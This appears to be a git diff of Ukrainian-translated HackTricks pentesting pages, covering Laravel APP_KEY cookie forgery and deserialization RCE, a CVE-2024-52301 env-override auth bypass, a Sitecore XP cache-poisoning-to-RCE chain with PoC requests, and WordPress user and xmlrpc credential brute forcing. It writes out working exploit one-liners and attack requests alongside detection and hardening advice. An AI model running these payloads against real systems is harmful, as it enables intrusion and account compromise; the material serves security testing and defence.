2. Побудуйте gadget chain за допомогою **PHPGGC** (наприклад `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`).
3. Зашифруйте серіалізований gadget за допомогою **laravel_crypto_killer.py** та відновленого `APP_KEY`.
4. Доставте ciphertext до вразливого `decrypt()` sink (route parameter, cookie, session …), щоб викликати **RCE**.
Нижче наведені стисливі однорядкові приклади, що демонструють повний шлях атаки для кожного з реальних CVE, згаданих вище:
Нижче наведені короткі one-liners, що демонструють повний шлях атаки для кожного з наведених вище реальних CVE:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -82,40 +82,40 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Масове виявлення APP_KEY через cookie brute-force
## Масове виявлення APP_KEY via cookie brute-force
Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифроване cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) leak millions of ciphertexts**, які можна атакувати офлайн.
Оскільки кожна нова Laravel-відповідь встановлює принаймні 1 зашифровану cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts**, які можна атакувати офлайн.
Ключові висновки дослідження, опублікованого Synacktiv (2024-2025):
* Датасет July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Датасет May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
* Велике повторне використання ключів Top-10 APP_KEYs є жорстко вбудованими дефолтами, що постачаються з комерційними Laravel шаблонами (UltimatePOS, Invoice Ninja, XPanel, …).
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 серверів все ще вразливі до legacy CVE-2018-15133, оскільки tokens безпосередньо містять serialized data.
* Масове повторне використання ключів Top-10 APP_KEYs це hard-coded defaults, що постачаються з комерційними Laravel-шаблонами (UltimatePOS, Invoice Ninja, XPanel, …).
Приватний Go інструмент **nounours** піднімає пропускну здатність AES-CBC/GCM bruteforce до ~1.5 billion tries/s, скорочуючи full dataset cracking до <2 minutes.
Приватний інструмент на Go **nounours** підвищує AES-CBC/GCM bruteforce throughput до ~1.5 billion tries/s, скорочуючи час повного cracking датасету до <2 хвилин.
## CVE-2024-52301 HTTP argv/env override → auth bypass
Коли PHP має `register_argc_argv=On` (типово для багатьох дистрибутивів), PHP відкриває масив `argv` для HTTP-запитів, похідний з query string. Нові версії Laravel парсили ці “CLI-like” args і поважали `--env=<value>` під час виконання. Це дозволяє змінювати framework environment для поточного HTTP-запиту просто додавши його в будь-який URL:
Коли в PHP встановлено `register_argc_argv=On` (типово для багатьох дистрибутивів), PHP експонує масив `argv` для HTTP-запитів, отриманий із query string. Новіші версії Laravel парсили ці “CLI-like” args і враховували `--env=<value>` під час виконання. Це дозволяє змінити environment фреймворку для поточного HTTP-запиту просто додавши його до будь-якого URL:
- Швидка перевірка:
- Відвідайте `https://target/?--env=local` або будь-який рядок і подивіться на залежні від environment зміни (debug banners, footers, verbose errors). Якщо рядок відображається, override працює.
- Quick check:
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). Якщо рядок відбивається, override працює.
- Приклад впливу (бізнес-логіка, що довіряє спеціальному env):
- Якщо додаток містить гілки на кшталт `if (app()->environment('preprod')) { /* bypass auth */ }`, ви можете автентифікуватися без дійсних облікових даних, надіславши login POST на:
- Impact example (business logic trusting a special env):
- Якщо в додатку є гілки типу `if (app()->environment('preprod')) { /* bypass auth */ }`, ви можете автентифікуватися без дійсних creds, відправивши login POST до:
- `POST /login?--env=preprod`
- Примітки:
- Працює для кожного запиту окремо, без персистентності.
- Вимагає `register_argc_argv=On` та вразливої версії Laravel, яка читає argv для HTTP.
- Корисний примітив для отримання більш детальних помилок у “debug” envs або для тригерування шляхів коду, захищених за environment.
- Notes:
- Працює для окремого запиту, без персистентності.
- Потребує `register_argc_argv=On` і вразливої версії Laravel, яка читає argv з HTTP.
- Корисний примітив для отримання більш детальних помилок у “debug” envs або для тригерингу кодових шляхів, захищених по environment.
- Заходи пом'якшення:
- Вимкніть `register_argc_argv` для PHP-FPM/Apache.
- Оновіть Laravel, щоб ігнорувати argv в HTTP-запитах і видалити будь-які припущення довіри, пов'язані з `app()->environment()` в production routes.
- Mitigations:
- Відключити `register_argc_argv` для PHP-FPM/Apache.
- Оновити Laravel, щоб ігнорувати argv для HTTP-запитів і прибрати будь-які припущення довіри, пов'язані з `app()->environment()` у production маршрутах.
Мінімальний потік експлуатації (Burp):
Minimal exploitation flow (Burp):
```http
POST /login?--env=preprod HTTP/1.1
Host: target
@ -127,24 +127,24 @@ email=a@b.c&password=whatever&remember=0xdf
## Laravel Tricks
### Режим налагодження
### Debugging mode
Якщо Laravel у **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\
Наприклад `http://127.0.0.1:8000/profiles`:
Якщо Laravel у **режимі налагодження**, ви зможете отримати доступ до **коду** та **конфіденційних даних**.\
For example `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Зазвичай це потрібно для експлуатації інших Laravel RCE CVEs.
Зазвичай це необхідно для exploiting other Laravel RCE CVEs.
### Fingerprinting & exposed dev endpoints
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). Якщо доступний без автентифікації, застосунок може бути в debug або неправильно налаштований.
- `/_ignition/health-check` → Ignition присутній (інструмент налагодження, використаний у CVE-2021-3129). Якщо доступний без автентифікації, додаток може бути в режимі налагодження або неправильно налаштований.
- `/_debugbar` → Laravel Debugbar assets; часто вказує на режим налагодження.
- `/telescope` → Laravel Telescope (dev monitor). Якщо публічно доступний, очікуйте широкого розкриття інформації та можливих дій.
- `/horizon`Queue dashboard; витік версії та іноді дії, захищені CSRF.
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
- `/telescope` → Laravel Telescope (інструмент моніторингу для розробки). Якщо публічний, очікуйте широкого розкриття інформації та можливих дій.
- `/horizon`Панель черг; розкриття версії та іноді дії, захищені CSRF.
- X-Powered-By, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel зберігає APP, який використовується для шифрування cookies та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою path traversal через: `/../.env`
Laravel зберігає APP, який він використовує для шифрування cookies та інших облікових даних, у файлі з назвою `.env`, до якого можна отримати доступ через path traversal: `/../.env`
Laravel також покаже цю інформацію на debug page (яка з'являється, коли Laravel виявляє помилку і debug увімкнено).
Laravel також покаже цю інформацію на debug page (яка з'являється, коли Laravel знаходить помилку і режим налагодження увімкнено).
Використовуючи секретний APP_KEY Laravel, ви можете decrypt та re-encrypt cookies:
@ -222,18 +222,18 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Інформацію про вразливість десеріалізації можна знайти тут: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Докладну інформацію про deserialization vulnerability можна знайти тут: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Або також можна експлуатувати через metasploit: `use unix/http/laravel_token_unserialize_exec`
Ви можете протестувати та exploit-увати її за допомогою [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Або ви також можете exploit-увати її за допомогою metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Ще одна десеріалізація: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
Ще один deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## References
## Посилання
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)

View File

@ -1,10 +1,10 @@
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning до Postauth RCE
# Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE
{{#include ../../../banners/hacktricks-training.md}}
На цій сторінці підсумовано практичний ланцюг атак проти Sitecore XP 10.4.1, який переходить від preauth XAML handler до HTML cache poisoning і, через authenticated UI flow, до RCE через BinaryFormatter deserialization. Ці техніки узагальнюються для подібних версій/компонентів Sitecore і дають конкретні примітиви для тестування, виявлення та підвищення стійкості.
На цій сторінці підсумовано практичний ланцюг атаки проти Sitecore XP 10.4.1, який переходить від preauth XAML handler до HTML cache poisoning і, через authenticated UI flow, до RCE через BinaryFormatter deserialization. Техніки узагальнюються для подібних версій/компонентів Sitecore і надають конкретні примітиви для тестування, виявлення та підвищення захищеності.
- Продукт, протестований на уразливість: Sitecore XP 10.4.1 rev. 011628
- Протестований продукт: Sitecore XP 10.4.1 rev. 011628
- Виправлено в: KB1003667, KB1003734 (червень/липень 2025)
Див. також:
@ -17,7 +17,7 @@
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Preauth примітив: XAML Ajax reflection → HtmlCache write
## Preauth primitive: XAML Ajax reflection → HtmlCache write
Точка входу — preauth XAML handler, зареєстрований у web.config:
```xml
@ -27,7 +27,7 @@
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Дерево контролів містить AjaxScriptManager, який у запитах подій читає attackercontrolled поля і рефлексивно викликає методи на цільових контролах:
Дерево контролів включає AjaxScriptManager, який при запитах подій читає поля, контрольовані атакуючим, і рефлексивно викликає методи у цільових контролях:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Ключове спостереження: сторінка XAML містить екземпляр XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl є похідним від Sitecore.Web.UI.WebControl (клас Sitecore), і проходить через ReflectionUtil.Filter allowlist (Sitecore.*), що розблоковує методи Sitecore.WebControl.
Ключове спостереження: сторінка XAML містить екземпляр XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl успадковується від Sitecore.Web.UI.WebControl (клас Sitecore), який передає allowlist ReflectionUtil.Filter (Sitecore.*), розблоковуючи методи у Sitecore WebControl.
Магічний метод для poisoning:
```csharp
@ -52,9 +52,9 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Оскільки ми можемо націлитися на xmlcontrol:GlobalHeader і викликати методи Sitecore.Web.UI.WebControl за їхніми іменами, ми отримуємо preauth arbitrary HtmlCache write primitive.
Оскільки ми можемо націлитися на xmlcontrol:GlobalHeader і викликати методи Sitecore.Web.UI.WebControl за ім'ям, ми отримуємо preauth довільний примітив запису HtmlCache.
### PoC request (CVE-2025-53693)
### PoC запит (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Примітки:
- __SOURCE — це clientID xmlcontrol:GlobalHeader у межах Sitecore.Shell.Xaml.WebControl (зазвичай стабільний, наприклад ctl00_ctl00_ctl05_ctl03, оскільки він походить зі статичного XAML).
- __SOURCE — це clientID xmlcontrol:GlobalHeader у Sitecore.Shell.Xaml.WebControl (зазвичай стабільний, наприклад ctl00_ctl00_ctl05_ctl03, оскільки він походить зі статичного XAML).
- __PARAMETERS має формат Method("arg1","arg2").
## Що отруїти: побудова ключа кешу
## Що отруїти: конструкція ключа кешу
Типова побудова ключа HtmlCache, яку використовують контролі Sitecore:
Типова конструкція ключа HtmlCache, що використовується контролами Sitecore:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -94,9 +94,9 @@ return string.Empty;
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Перерахування кешованих елементів та вимірів “vary by”
## Перерахування кешованих елементів та вимірів “vary by”
Якщо ItemService (неправильно) доступний анонімно, ви можете перерахувати компоненти, що кешуються, щоб визначити точні ключі.
Якщо ItemService (неправильно) відкрито для анонімного доступу, ви можете перерахувати кешовані компоненти, щоб отримати точні ключі.
Швидка перевірка:
```
@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Список кешованих елементів та прапорців:
Список кешованих елементів і flags:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Шукайте поля на кшталт Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Імена пристроїв можна перерахувати через:
Шукайте поля, такі як Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Імена пристроїв можна перерахувати за допомогою:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
Навіть коли ItemService видає себе за обмежений обліковий запис (наприклад, ServicesAPI) і повертає порожній Results array, TotalCount все одно може відображати preACL Solr hits. Можна bruteforce item groups/ids із wildcards і спостерігати, як TotalCount збігається, щоб створити карту внутрішнього вмісту й пристроїв:
Навіть коли ItemService діє від імені обмеженого акаунта (наприклад, ServicesAPI) і повертає порожній Results array, TotalCount може й досі відображати preACL Solr hits. Ви можете bruteforce item groups/ids із wildcards і спостерігати, як TotalCount збігається, щоб відобразити внутрішній вміст і пристрої:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Післяавторизаційне RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
## Postauth RCE: BinaryFormatter sink у convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
@ -131,14 +131,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Доступно через крок pipeline convertToRuntimeHtml — ConvertWebControls, який шукає елемент з id {iframeId}_inner, декодує base64 і десеріалізує його, а потім вставляє отриманий рядок у HTML:
Доступно через крок pipeline convertToRuntimeHtml — ConvertWebControls, який шукає елемент з id {iframeId}_inner, base64 декодує + десеріалізує його, а потім вставляє отриманий рядок у HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Запуск (авторизований, права Content Editor). Діалог FixHtml викликає convertToRuntimeHtml. Енд-ту-енд без кліків у UI:
Тригер (аутентифікований, права Content Editor). Діалог FixHtml викликає convertToRuntimeHtml. Повний сценарій без кліків UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -166,29 +166,29 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Повний ланцюг
## Повний ланцюжок
1) Preauth зловмисник отруює HtmlCache довільним HTML, рефлективно викликаючи WebControl.AddToCache через XAML AjaxScriptManager.
2) Отруєний HTML доставляє JavaScript, який підштовхує автентифікованого користувача Content Editor пройти через потік FixHtml.
3) Сторінка FixHtml запускає convertToRuntimeHtml → ConvertWebControls, що десеріалізує base64, контрольований атакуючим, через BinaryFormatter → RCE під ідентифікатором пулу додатків Sitecore.
1) Preauth зловмисник отруює HtmlCache довільним HTML, рефлексивно викликаючи WebControl.AddToCache через XAML AjaxScriptManager.
2) Отруєний HTML подає JavaScript, який підштовхує автентифікованого користувача Content Editor пройти через процес FixHtml.
3) Сторінка FixHtml запускає convertToRuntimeHtml → ConvertWebControls, які десеріалізують керований зловмисником base64 через BinaryFormatter → RCE під ідентифікацією app pool додатку Sitecore.
## Виявлення
- Preauth XAML: запити до `/-/xaml/Sitecore.Shell.Xaml.WebControl` з `__ISEVENT=1`, підозрілим `__SOURCE` та `__PARAMETERS=AddToCache(...)`.
- ItemService probing: сплески wildcard-запитів до `/sitecore/api/ssc`, великий `TotalCount` з порожнім `Results`.
- Deserialization attempts: `EditHtml.aspx` після чого `FixHtml.aspx?hdl=...` і незвично великий base64 у полях HTML.
- Preauth XAML: запити до `/-/xaml/Sitecore.Shell.Xaml.WebControl` з `__ISEVENT=1`, підозрілим `__SOURCE` та `__PARAMETERS=AddToCache(...)`.
- ItemService probing: сплески запитів з шаблоном до `/sitecore/api/ssc`, великий `TotalCount` з порожнім `Results`.
- Спроби десеріалізації: `EditHtml.aspx` з подальшим `FixHtml.aspx?hdl=...` та незвично великий base64 у полях HTML.
## Посилення захисту
## Зміцнення захисту
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers або додати сувору валідацію; моніторити і лімітувати швидкість `/-/xaml/`.
- Remove/replace BinaryFormatter; обмежити доступ до convertToRuntimeHtml або забезпечити сильну серверну валідацію потоків редагування HTML.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; уникати шаблонів impersonation, які дозволяють leak `TotalCount`based side channels.
- Enforce MFA/least privilege для користувачів Content Editor; переглянути CSP щоб зменшити вплив JS steering від cache poisoning.
- Застосуйте патчі Sitecore KB1003667 і KB1003734; закрийте/відключіть preauth XAML handlers або додайте сувору валідацію; моніторьте і лімітуйте швидкість звернень до `/-/xaml/`.
- Видаліть/замініть BinaryFormatter; обмежте доступ до convertToRuntimeHtml або застосуйте сувору серверну валідацію потоків редагування HTML.
- Заблокуйте `/sitecore/api/ssc` для loopback або автентифікованих ролей; уникайте патернів impersonation, які leak побічні канали, засновані на `TotalCount`.
- Вимагайте MFA/принцип найменшого привілею для користувачів Content Editor; перегляньте CSP, щоб зменшити вплив JS steering від cache poisoning.
## References
## Посилання
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [watchTowr Labs Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,49 +4,49 @@
## Базова інформація
- **Uploaded** файли потрапляють в: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните якийсь php теми щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи **theme twentytwelve** ви можете **access** файл **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Завантажені** файли потрапляють у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Файли тем можна знайти в /wp-content/themes/,** тож якщо ви зміните якийсь php файлу теми, щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Ще одна корисна url може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- У **wp-config.php** можна знайти root-пароль бази даних.
- Типові шляхи для логіну, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Типові шляхи для входу, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Основні файли WordPress**
### **Main WordPress Files**
- `index.php`
- `license.txt` містить корисну інформацію, таку як версія WordPress, що встановлена.
- `wp-activate.php` використовується для процесу активації по email при налаштуванні нового сайту WordPress.
- Папки для логіну (можуть бути перейменовані, щоб сховати їх):
- `license.txt` містить корисну інформацію, таку як версія встановленого WordPress.
- `wp-activate.php` використовується для процесу активації через email при налаштуванні нового сайту WordPress.
- Папки для входу (можуть бути перейменовані, щоб приховати):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php`файл, який реалізує функцію WordPress, що дозволяє передавати дані з використанням HTTP як транспортного механізму та XML як механізму кодування. Цей тип звʼязку був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Папка `wp-content` — основний каталог, де зберігаються plugins і themes.
- `wp-content/uploads/` — каталог, де зберігаються будь-які файли, завантажені на платформу.
- `wp-includes/` — каталог, де зберігаються core файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище, WordPress генерує sitemap XML файл зі всіма публічними записами та публічно опитуваними типами записів і таксономіями.
- `xmlrpc.php`це файл, який реалізує функціональність WordPress для передавання даних через HTTP як транспорт та XML як механізм кодування. Такий тип взаємодії було замінено WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Папка `wp-content` — основний каталог, де зберігаються плагіни та теми.
- `wp-content/uploads/` — каталог, де зберігаються всі файли, завантажені на платформу.
- `wp-includes/` — каталог, де зберігаються core-файли, такі як сертифікати, шрифти, файли JavaScript та віджети.
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує sitemap XML з усіма публічними записами та публічно запитуваними типами записів і таксономіями.
Post exploitation
**Пост-експлуатація**
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, імʼя користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також може використовуватись для активації DEBUG режиму, що може бути корисним при вирішенні проблем.
- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys і salts, а також префікс таблиць бази даних. Цей конфігураційний файл також можна використати для активації DEBUG-режиму, який може бути корисним при усуненні несправностей.
### Права користувачів
### Дозволи користувачів
- **Administrator**
- **Editor**: Публікує та керує своїми і чужими записами
- **Author**: Публікує та керує лише своїми записами
- **Contributor**: Пише та керує своїми записами, але не може їх публікувати
- **Subscriber**: Переглядає записи та редагує свій профіль
- **Адміністратор**
- **Редактор**: Публікує та керує своїми й чужими записами
- **Автор**: Публікує та керує власними записами
- **Дописувач**: Пише і керує своїми записами, але не може їх публікувати
- **Підписник**: Переглядає пости та редагує свій профіль
## **Passive Enumeration**
## **Пасивна енумерація**
### **Отримати версію WordPress**
Перевірте, чи можете знайти файли `/license.txt` або `/readme.html`
Перевірте, чи можна знайти файли `/license.txt` або `/readme.html`
У **source code** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
У **коді сторінки** (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Загальні способи отримання версій
### Отримання версій загалом
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,37 +81,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins and Themes
Ймовірно, ви не зможете знайти всі можливі Plugins і Themes. Щоб виявити їх усі, вам потрібно **активно Brute Force список Plugins і Themes** (сподіваємося, що є автоматизовані інструменти, які містять ці списки).
Ймовірно, ви не зможете знайти всі можливі Plugins і Themes. Щоб виявити їх усі, вам потрібно буде **actively Brute Force a list of Plugins and Themes** (на щастя для нас, існують автоматизовані інструменти, які містять ці списки).
### Користувачі
- **ID Brute:** Отримати дійсних користувачів з WordPress сайту можна шляхом Brute Forcing users IDs:
- **ID Brute:** Ви отримуєте валідних користувачів з сайту WordPress шляхом Brute Forcing user IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Якщо відповіді мають статус **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**.
Якщо відповіді **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**.
- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, запитуючи:
- **wp-json:** Також можна спробувати отримати інформацію про користувачів, виконуючи запит:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Ще один endpoint `/wp-json/`, який може розкрити деяку інформацію про користувачів, це:
Ще один ендпоїнт `/wp-json/`, який може розкрити деяку інформацію про користувачів, це:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **Буде надано лише інформацію про користувачів, у яких ця функція увімкнена**.
Зверніть увагу, що ця кінцева точка повертає лише користувачів, які опублікували пост. **Інформація надається лише про користувачів, у яких ця функція увімкнена**.
Also note that **/wp-json/wp/v2/pages** може leak IP-адреси.
Також зауважте, що **/wp-json/wp/v2/pages** може leak IP-адреси.
- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** **відрізняється** — воно вказує, чи **username** існує чи ні.
- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** є **різним** — воно вказує, чи існує зазначений **username** чи ні.
### XML-RPC
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес[ using this](https://github.com/relarizky/wpxploit) for example).
Якщо `xml-rpc.php` активний, ви можете виконати credentials brute-force або використати його для запуску DoS атак на інші ресурси. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
Щоб перевірити, чи активний, спробуйте звернутися до _**/xmlrpc.php**_ і відправити цей запит:
**Перевірка**
**Перевірити**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credentials Bruteforce**
**Облікові дані Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використати для brute-force облікових даних. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо credentials не є дійсними.
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 повинно з'являтися, якщо облікові дані недійсні.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
